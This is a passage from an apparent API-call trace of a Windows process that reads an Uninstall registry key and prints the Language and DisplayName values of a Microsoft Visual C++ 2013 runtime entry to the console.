pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.324] GetProcessHeap () returned 0x3c0000 [0151.324] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.324] GetProcessHeap () returned 0x3c0000 [0151.324] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.324] GetProcessHeap () returned 0x3c0000 [0151.324] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.324] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x409, pcbData=0x29f780*=0x4) returned 0x0 [0151.324] __iob_func () returned 0x7fefd702a80 [0151.324] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.325] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.325] _fileno (_File=0x7fefd702ab0) returned 1 [0151.325] _errno () returned 0x204bb0 [0151.325] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.325] _errno () returned 0x204bb0 [0151.325] GetFileType (hFile=0x50) returned 0x1 [0151.325] lstrlenW (lpString=" ") returned 4 [0151.325] GetConsoleOutputCP () returned 0x1b5 [0151.325] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.325] GetConsoleOutputCP () returned 0x1b5 [0151.325] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.325] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.325] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.325] lstrlenW (lpString="Language") returned 8 [0151.325] __iob_func () returned 0x7fefd702a80 [0151.325] _fileno (_File=0x7fefd702ab0) returned 1 [0151.325] _errno () returned 0x204bb0 [0151.325] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.325] _errno () returned 0x204bb0 [0151.325] GetFileType (hFile=0x50) returned 0x1 [0151.325] lstrlenW (lpString="Language") returned 8 [0151.325] GetConsoleOutputCP () returned 0x1b5 [0151.325] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0151.326] GetConsoleOutputCP () returned 0x1b5 [0151.326] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0151.326] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0151.326] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.326] __iob_func () returned 0x7fefd702a80 [0151.326] _fileno (_File=0x7fefd702ab0) returned 1 [0151.326] _errno () returned 0x204bb0 [0151.326] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.326] _errno () returned 0x204bb0 [0151.326] GetFileType (hFile=0x50) returned 0x1 [0151.326] lstrlenW (lpString=" ") returned 4 [0151.326] GetConsoleOutputCP () returned 0x1b5 [0151.326] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.326] GetConsoleOutputCP () returned 0x1b5 [0151.326] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.326] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.326] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.326] __iob_func () returned 0x7fefd702a80 [0151.326] _fileno (_File=0x7fefd702ab0) returned 1 [0151.326] _errno () returned 0x204bb0 [0151.326] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.326] _errno () returned 0x204bb0 [0151.326] GetFileType (hFile=0x50) returned 0x1 [0151.326] lstrlenW (lpString="REG_DWORD") returned 9 [0151.326] GetConsoleOutputCP () returned 0x1b5 [0151.327] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.327] GetConsoleOutputCP () returned 0x1b5 [0151.327] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0151.327] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.327] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.327] __iob_func () returned 0x7fefd702a80 [0151.327] _fileno (_File=0x7fefd702ab0) returned 1 [0151.327] _errno () returned 0x204bb0 [0151.327] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.327] _errno () returned 0x204bb0 [0151.327] GetFileType (hFile=0x50) returned 0x1 [0151.327] lstrlenW (lpString=" ") returned 4 [0151.327] GetConsoleOutputCP () returned 0x1b5 [0151.327] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.327] GetConsoleOutputCP () returned 0x1b5 [0151.327] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.327] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.327] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.327] __iob_func () returned 0x7fefd702a80 [0151.327] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.328] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x409") returned 5 [0151.328] _fileno (_File=0x7fefd702ab0) returned 1 [0151.328] _errno () returned 0x204bb0 [0151.328] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.328] _errno () returned 0x204bb0 [0151.328] GetFileType (hFile=0x50) returned 0x1 [0151.328] lstrlenW (lpString="0x409") returned 5 [0151.328] GetConsoleOutputCP () returned 0x1b5 [0151.328] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0151.328] GetConsoleOutputCP () returned 0x1b5 [0151.328] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x409", lpUsedDefaultChar=0x0) returned 5 [0151.328] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0151.328] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.328] __iob_func () returned 0x7fefd702a80 [0151.328] _fileno (_File=0x7fefd702ab0) returned 1 [0151.328] _errno () returned 0x204bb0 [0151.328] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.328] _errno () returned 0x204bb0 [0151.328] GetFileType (hFile=0x50) returned 0x1 [0151.328] lstrlenW (lpString="\n") returned 1 [0151.328] GetConsoleOutputCP () returned 0x1b5 [0151.328] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.328] GetConsoleOutputCP () returned 0x1b5 [0151.328] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.329] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.329] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.329] GetProcessHeap () returned 0x3c0000 [0151.329] GetProcessHeap () returned 0x3c0000 [0151.329] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.329] GetProcessHeap () returned 0x3c0000 [0151.329] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.329] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.329] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.329] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x7e) returned 0x0 [0151.329] GetProcessHeap () returned 0x3c0000 [0151.329] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x80) returned 0x3e1ca0 [0151.329] GetProcessHeap () returned 0x3c0000 [0151.329] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1ca0) returned 1 [0151.329] GetProcessHeap () returned 0x3c0000 [0151.329] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1ca0) returned 0x80 [0151.329] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1ca0, pcbData=0x29f780*=0x7e | out: pdwType=0x29f700*=0x1, pvData="Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", pcbData=0x29f780*=0x7c) returned 0x0 [0151.329] __iob_func () returned 0x7fefd702a80 [0151.329] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.329] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.329] _fileno (_File=0x7fefd702ab0) returned 1 [0151.329] _errno () returned 0x204bb0 [0151.329] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.329] _errno () returned 0x204bb0 [0151.329] GetFileType (hFile=0x50) returned 0x1 [0151.330] lstrlenW (lpString=" ") returned 4 [0151.330] GetConsoleOutputCP () returned 0x1b5 [0151.330] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.330] GetConsoleOutputCP () returned 0x1b5 [0151.330] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.330] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.330] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.330] lstrlenW (lpString="DisplayName") returned 11 [0151.330] __iob_func () returned 0x7fefd702a80 [0151.330] _fileno (_File=0x7fefd702ab0) returned 1 [0151.330] _errno () returned 0x204bb0 [0151.330] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.330] _errno () returned 0x204bb0 [0151.330] GetFileType (hFile=0x50) returned 0x1 [0151.330] lstrlenW (lpString="DisplayName") returned 11 [0151.330] GetConsoleOutputCP () returned 0x1b5 [0151.330] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0151.330] GetConsoleOutputCP () returned 0x1b5 [0151.330] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0151.330] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0151.330] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.331] __iob_func () returned 0x7fefd702a80 [0151.331] _fileno (_File=0x7fefd702ab0) returned 1 [0151.331] _errno () returned 0x204bb0 [0151.331] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.331] _errno () returned 0x204bb0 [0151.331] GetFileType (hFile=0x50) returned 0x1 [0151.331] lstrlenW (lpString=" ") returned 4 [0151.331] GetConsoleOutputCP () returned 0x1b5 [0151.331] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.331] GetConsoleOutputCP () returned 0x1b5 [0151.331] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.331] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.331] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.331] __iob_func () returned 0x7fefd702a80 [0151.331] _fileno (_File=0x7fefd702ab0) returned 1 [0151.331] _errno () returned 0x204bb0 [0151.331] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.331] _errno () returned 0x204bb0 [0151.331] GetFileType (hFile=0x50) returned 0x1 [0151.331] lstrlenW (lpString="REG_SZ") returned 6 [0151.331] GetConsoleOutputCP () returned 0x1b5 [0151.331] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.331] GetConsoleOutputCP () returned 0x1b5 [0151.332] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.332] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.332] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.332] __iob_func () returned 0x7fefd702a80 [0151.332] _fileno (_File=0x7fefd702ab0) returned 1 [0151.332] _errno () returned 0x204bb0 [0151.332] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.332] _errno () returned 0x204bb0 [0151.332] GetFileType (hFile=0x50) returned 0x1 [0151.332] lstrlenW (lpString=" ") returned 4 [0151.332] GetConsoleOutputCP () returned 0x1b5 [0151.332] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.332] GetConsoleOutputCP () returned 0x1b5 [0151.332] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.332] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.332] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.332] __iob_func () returned 0x7fefd702a80 [0151.332] _fileno (_File=0x7fefd702ab0) returned 1 [0151.332] _errno () returned 0x204bb0 [0151.332] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.332] _errno () returned 0x204bb0 [0151.332] GetFileType (hFile=0x50) returned 0x1 [0151.332] lstrlenW (lpString="Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005") returned 61 [0151.332] GetConsoleOutputCP () returned 0x1b5 [0151.332] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0151.333] GetConsoleOutputCP () returned 0x1b5 [0151.333] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", cchWideChar=61, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpUsedDefaultChar=0x0) returned 61 [0151.333] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 61 [0151.333] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.333] __iob_func () returned 0x7fefd702a80 [0151.333] _fileno (_File=0x7fefd702ab0) returned 1 [0151.333] _errno () returned 0x204bb0 [0151.333] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.333] _errno () returned 0x204bb0 [0151.333] GetFileType (hFile=0x50) returned 0x1 [0151.333] lstrlenW (lpString="\n") returned 1 [0151.333] GetConsoleOutputCP () returned 0x1b5 [0151.333] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.333] GetConsoleOutputCP () returned 0x1b5 [0151.333] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.333] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.333] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.333] GetProcessHeap () returned 0x3c0000 [0151.333] GetProcessHeap () returned 0x3c0000 [0151.333] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1ca0) returned 1 [0151.333] GetProcessHeap () returned 0x3c0000 [0151.333] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1ca0) returned 0x80 [0151.333] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1ca0 | out: hHeap=0x3c0000) returned 1 [0151.333] __iob_func () returned 0x7fefd702a80 [0151.333] _fileno (_File=0x7fefd702ab0) returned 1 [0151.334] _errno () returned 0x204bb0 [0151.334] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.334] _errno () returned 0x204bb0 [0151.334] GetFileType (hFile=0x50) returned 0x1 [0151.334] lstrlenW (lpString="\n") returned 1 [0151.334] GetConsoleOutputCP () returned 0x1b5 [0151.334] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.334] GetConsoleOutputCP () returned 0x1b5 [0151.334] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.334] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.334] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.334] GetProcessHeap () returned 0x3c0000 [0151.334] GetProcessHeap () returned 0x3c0000 [0151.334] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0151.334] GetProcessHeap () returned 0x3c0000 [0151.334] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x28 [0151.334] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0151.334] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.334] GetProcessHeap () returned 0x3c0000 [0151.334] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0151.334] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}") returned 121 [0151.334] GetProcessHeap () returned 0x3c0000 [0151.334] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xf6) returned 0x3e3c70 [0151.334] GetProcessHeap () returned 0x3c0000 [0151.334] GetProcessHeap () returned 0x3c0000 [0151.334] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.334] GetProcessHeap () returned 0x3c0000 [0151.334] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0151.334] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.334] GetProcessHeap () returned 0x3c0000 [0151.334] GetProcessHeap () returned 0x3c0000 [0151.334] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e3c70) returned 1 [0151.335] GetProcessHeap () returned 0x3c0000 [0151.335] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e3c70) returned 0xf6 [0151.335] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e3c70 | out: hHeap=0x3c0000) returned 1 [0151.335] RegCloseKey (hKey=0x5c) returned 0x0 [0151.335] GetProcessHeap () returned 0x3c0000 [0151.335] GetProcessHeap () returned 0x3c0000 [0151.335] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dbc10) returned 1 [0151.335] GetProcessHeap () returned 0x3c0000 [0151.335] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dbc10) returned 0xc2 [0151.335] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dbc10 | out: hHeap=0x3c0000) returned 1 [0151.335] GetProcessHeap () returned 0x3c0000 [0151.335] GetProcessHeap () returned 0x3c0000 [0151.335] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dbce0) returned 1 [0151.335] GetProcessHeap () returned 0x3c0000 [0151.335] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dbce0) returned 0x168 [0151.335] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dbce0 | out: hHeap=0x3c0000) returned 1 [0151.335] RegCloseKey (hKey=0x58) returned 0x0 [0151.335] GetProcessHeap () returned 0x3c0000 [0151.335] GetProcessHeap () returned 0x3c0000 [0151.335] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1a60) returned 1 [0151.335] GetProcessHeap () returned 0x3c0000 [0151.335] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1a60) returned 0x200 [0151.335] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1a60 | out: hHeap=0x3c0000) returned 1 [0151.335] GetProcessHeap () returned 0x3c0000 [0151.335] GetProcessHeap () returned 0x3c0000 [0151.335] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df2b0) returned 1 [0151.335] GetProcessHeap () returned 0x3c0000 [0151.335] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df2b0) returned 0x18 [0151.335] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df2b0 | out: hHeap=0x3c0000) returned 1 [0151.335] GetProcessHeap () returned 0x3c0000 [0151.335] GetProcessHeap () returned 0x3c0000 [0151.335] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c00) returned 1 [0151.335] GetProcessHeap () returned 0x3c0000 [0151.335] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c00) returned 0x20 [0151.335] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c00 | out: hHeap=0x3c0000) returned 1 [0151.335] GetProcessHeap () returned 0x3c0000 [0151.335] GetProcessHeap () returned 0x3c0000 [0151.335] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dbe50) returned 1 [0151.335] GetProcessHeap () returned 0x3c0000 [0151.335] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dbe50) returned 0x1000 [0151.335] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dbe50 | out: hHeap=0x3c0000) returned 1 [0151.336] GetProcessHeap () returned 